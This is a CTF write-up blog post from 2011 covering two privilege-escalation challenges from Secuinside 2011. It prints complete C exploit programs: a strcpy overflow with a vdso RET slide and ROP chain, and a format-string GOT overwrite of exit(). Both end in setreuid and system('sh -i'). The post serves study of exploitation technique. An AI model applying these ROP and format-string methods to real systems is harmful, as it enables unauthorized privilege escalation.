09
Oct
2011

Secuinside 2011 CTF – Challenge 11

Challenge #11 consists of two binaries, chal1 and chal2. As if exploiting one binary
wasn’t worth any points!

chal1

The vulnerability

Chal1 is an NX-protected x86-64 binary with fixed addresses for libc and ASLR for the stack.
It suffers from a strcpy() vulnerability. A string is copied from argv[3] to a fixed size buffer.
But not before we overcome the fact that the binary exits when there are *any* arguments
at all. Luckily, when there are 0 elements in argv, argv[3] points to envp[2].

While the convention for environment variables is “VARNAME=value”, the kernel does not
enforce it, it just copies NULL-terminated strings. This means we can put any binary data
on the top of the process’ stack, encoding the NULL-bytes by just starting another string.

The problem is that the more useful gadgets (in the chal1 binary and in libc) all have
NULL-bytes in the most significant portion of the address. This means we can place only
one of those addresses on the stack using the vulnerable strcpy(). On the target machine,
stack randomisation causes the environment variables to be quite far from the stack pointer
at the time of exploitation. With only control over RBP and no clue where the stack is going to
end up, (bruting 2^20 possible locations is kind-of bad manners on a CTF machine,) we had
to move the stack pointer in a single (NULL-containing) gadget.

  • Gadget: Pop-a-Lot
      35ece572a7:   48 81 c4 88 82 00 00    add    $0x8288,%rsp
      35ece572ae:   c3                      retq

But… I kind-of missed that gadget… So I had to devise another way. Luckily, there is
another piece of code in the address-space, with addresses without NULL-bytes in
them. (Thank you, kernel dudes!) It is the [vdso] at 0xffffffffff60000-0xffffffffff601000.
The gadgets in there are not very useful on itself, but there are two of interest:

  • Gadget: RET
    ffffffffff60139:   ret
    
  • Gadget: do_some_timey_wimey_thing(), and then RET
    ffffffffff60100:   ...
    

Note that the addresses are the same except the lowest byte, which is ‘\x00’ for the latter,
and that they both are a no-op for our purposes, shifting the stack one up. Now we simply
insert enough of the RET gadgets for the strcpy() to copy over the original copy. For
the last copied address, where we necessarily have a NULL-byte we use the latter gadget.
From this gadget, only the NULL-byte gets copied, resulting in the change of one normal
RET gadget into the second gadget. Now we have a nice ROP-slide into our ROP-shellcode.

x86-64 ROP sleds

On x86-64, most function call arguments are not pushed on the stack, but instead
passed through registers (RDI, RSI, and so on.) This means we cannot simply chain
libc calls interleaved with arguments. We have to load our registers first.

  • Gadget: Load RDI / ( Load RBP )
      35ece22056:   5f                      pop    %rdi
      35ece22058:   5d                      pop    %rbp
      35ece22059:   c3                      retq   
    
  • Gadget: Load RSI
      35ecec28ce:   5e                      pop    %rsi
      35ecec28cf:   c3                      retq
    
  • Gadget: Load RAX
    35ece683c4:   58                      pop %rax
    35ece683c5:   c3                      retq
    
  • Gadget: Load some stack address into RDI, jump to code at RAX
      35ece6a7b1:   48 8d 7c 24 10          lea    0x10(%rsp),%rdi
      35ece6a7b6:   ff d0                   callq  *%rax
    

Since we have a libc with fixed addresses, we have loads of functions to choose from.
I went for system(), which at first crashed because in my ROPslide I overwrote envp[], which is
where environ points to, which in turn is used by system() to give to execve(). This was
solved by first calling clearenv(). Also, system() causes sh to relinquish its effective
user ID, so a call to setreuid() is needed first.

The full exploit

#include <unistd.h>

#define RET "\x39\x01\x60\xff\xff\xff\xff\xff"        /* NULL-less ret address       */
#define RETEND "", "\x01\x60\xff\xff\xff\xff\xff"     /* do_something(void) & ret    */
#define RET16 RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET
#define UID "\xf6\x01","","","","","",                /* chal1                       */

main(int argc, char *argv[])
{
    char *n_argv[] = {NULL};
    char *n_envp[] = {
        "A", "B",

        /* copied buffer envp[2] aka argv[3] */
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=RBP=RBP"
        RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
        RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
        RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
        RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
        RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
        RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
        RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
        RETEND

        "\x40\x98\xe3\xec\x35","","",  /* 35ece39840: clearenv();                     */

        "\x57\x20\xe2\xec\x35","","",  /* 35ece22057: pop %rdi
                                        *             pop %rbp
                                        *             ret
                                        */

        UID                            /*             UID -> %rdi                     */
        "clobber "                     /*             clobber %rbp                    */

        "\xce\x28\xec\xec\x35","","",  /* 35ecec28ce: pop %rsi
                                        *             ret
                                        */

        UID                            /*             UID -> %rsi                     */

        "\xc0\x8d\xed\xec\x35","","",  /* 35eced8dc0: setreuid(UID, UID)              */

        "\xc4\x83\xe6\xec\x35","","",  /* 35ece683c4: pop %rax
                                        *             ret
                                        */

        "\x10\x22\xe4\xec\x35","","",  /*             system -> %rax                  */

        "\xb1\xa7\xe6\xec\x35","","",  /* 35ece6a7b1: lea    0x10(%rsp),%rdi
                                        *             callq  *%rax  =  system(command);
                                        */

        "0x0(rsp)0x8(rsp)"             /*             ...padding...                   */
        "sh -i;XXXXXXXXXXXXXXX",       /*             char *command + stack alignment */
        NULL
    };

    execve("/home/guest/chal1", n_argv, n_envp);
}

chal2

After exploitation, a second binary can be found in /home/chal1, but not before a call to newgrp
to set the right group ID.

The vulnerability

Challenge 2 is also NX protected, with a randomised stack and a fixed address libc. The
buffer overflow has been replaced by a format string vulnerability. Due to the fact that we have
only one format string injection per execution, and no interaction, we cannot reliably overwrite any
known stack addresses. But since the program has been modified to call exit(),
we can overwrite exit’s GOT entry, or do something with .dtors. Well… .dtors is going
to be a problem, since there is a hard coded maximum of 0 of them:

0000000000400470 <__do_global_dtors_aux>:
...
  400482:       bb 10 07 60 00          mov    $0x600710,%ebx    !  load start of table to RBX
  400487:       48 8b 05 6a 04 20 00    mov    0x20046a(%rip),%rax        # 6008f8 <dtor_idx.5888>
  40048e:       48 81 eb 08 07 60 00    sub    $0x600708,%rbx    !  at this point RBX is 8
  400495:       48 c1 fb 03             sar    $0x3,%rbx         !  make that 1
  400499:       48 83 eb 01             sub    $0x1,%rbx         !  make that 0
  40049d:       48 39 d8                cmp    %rbx,%rax         !  unsigned comparison with 0, a lost cause when you do a JAE
  4004a0:       73 24                   jae    4004c6 <__do_global_dtors_aux+0x56>

So GOT it is. (Incidentally, modifying exit()’s GOT entry to jump to 400487 /would/ have allowed
for multiple dtors, useful for when a single gadget would not get the stack pointer in place, but
this is where I found my beloved Gadget Pop-a-Lot. πŸ™‚

  • Gadget: Pop-a-Lot
      35ece572a7:   48 81 c4 88 82 00 00    add    $0x8288,%rsp
      35ece572ae:   c3                      retq

Which /almost/ gets me to a working exploit. The only problem now is where to put the format
pointer addresses. Libc’s stack randomisation changes the argument numbers for the
environment data I inject from execution to execution, but nothing a little stack-spraying
won’t fix. With some padding, I get the right alignment right, roughly 50% of the time.

The full exploit

#include <unistd.h>

/* 35ece572a7: add    $0x8288,%rsp
 *             retq   
 */
#define FORMATSTRING "%53c%4702$n%29298c%4700$hn%31294c%4701$hn"
/*                              a              b              c
 *
 *            GOT entry for exit()
 *            ................
 *    a)      00000035........   53             = 0x35
 *    b)      00000035....72a7   53+29298       = 0x72a7
 *  Β  a)      00000035ece572a7   53+29298+31294 = 0x5ece
 *
 */
#define GOT \
    "\xd8\x08\x60","","","","",\ /* GOT exit() entry */
    "\xda\x08\x60","","","","",\ /* GOT exit() entry+2 */
    "\xdc\x08\x60","","","","",\ /* GOT exit() entry+4 */
    "ZZZZZZZZ" /* align on 16 bytes for .5 chance of getting the right addresses */
#define FMTIX GOT
#define FMTIX16 FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX FMTIX

#define RET "\x39\x01\x60\xff\xff\xff\xff\xff"        /* NULL-less ret address       */
#define RETEND "", "\x01\x60\xff\xff\xff\xff\xff"     /* do_something(void) & ret    */
#define RET16 RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET
#define UID "\xf7\x01","","","","","",                /* chal2                       */

main(int argc, char *argv[])
{
    char *n_argv[] = {NULL};
    char *n_envp[] = {
        "A", "B\n", "C\n",
        /* fmt */ FORMATSTRING
        RETEND /* no-op starting with '\x00' */
        RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
        RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
        RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
        RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
        RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
        RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
        RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
        RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
        RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
        RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
        RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16
        RETEND

        "\x40\x98\xe3\xec\x35","","",  /* 35ece39840: clearenv();                     */

        "\x57\x20\xe2\xec\x35","","",  /* 35ece22057: pop %rdi
                                        *             pop %rbp
                                        *             ret
                                        */
        
        UID                            /*             UID -> %rdi                     */
        "clobber "                     /*             clobber %rbp                    */

        "\xce\x28\xec\xec\x35","","",  /* 35ecec28ce: pop %rsi
                                        *             ret
                                        */

        UID                            /*             UID -> %rsi                     */

        "\xc0\x8d\xed\xec\x35","","",  /* 35eced8dc0: setreuid(UID, UID)              */

        "\xc4\x83\xe6\xec\x35","","",  /* 35ece683c4: pop %rax
                                        *             ret
                                        */

        "\x10\x22\xe4\xec\x35","","",  /*             system -> %rax                  */

        "\xb1\xa7\xe6\xec\x35","","",  /* 35ece6a7b1: lea    0x10(%rsp),%rdi
                                        *             callq  *%rax  =  system(command);
                                        */

        "0x0(rsp)0x8(rsp)"             /*             ...padding...                   */
        "sh -i;XXXXXXXXXXXXXXXXX",     /*             char *command + stack alignment */

        FMTIX16 FMTIX16 FMTIX16 FMTIX16 FMTIX16 FMTIX16 FMTIX16 FMTIX16
        "XXXXX",                       /*             alignment                       */
        NULL
    };
    execve("/home/chal1/chal2", n_argv, n_envp);
}

{One Response to “Secuinside 2011 CTF – Challenge 11”}

  1. Wow , nice write-up πŸ™‚

    p.s All of the pwnable challenge servers were Excutable Stack πŸ™‚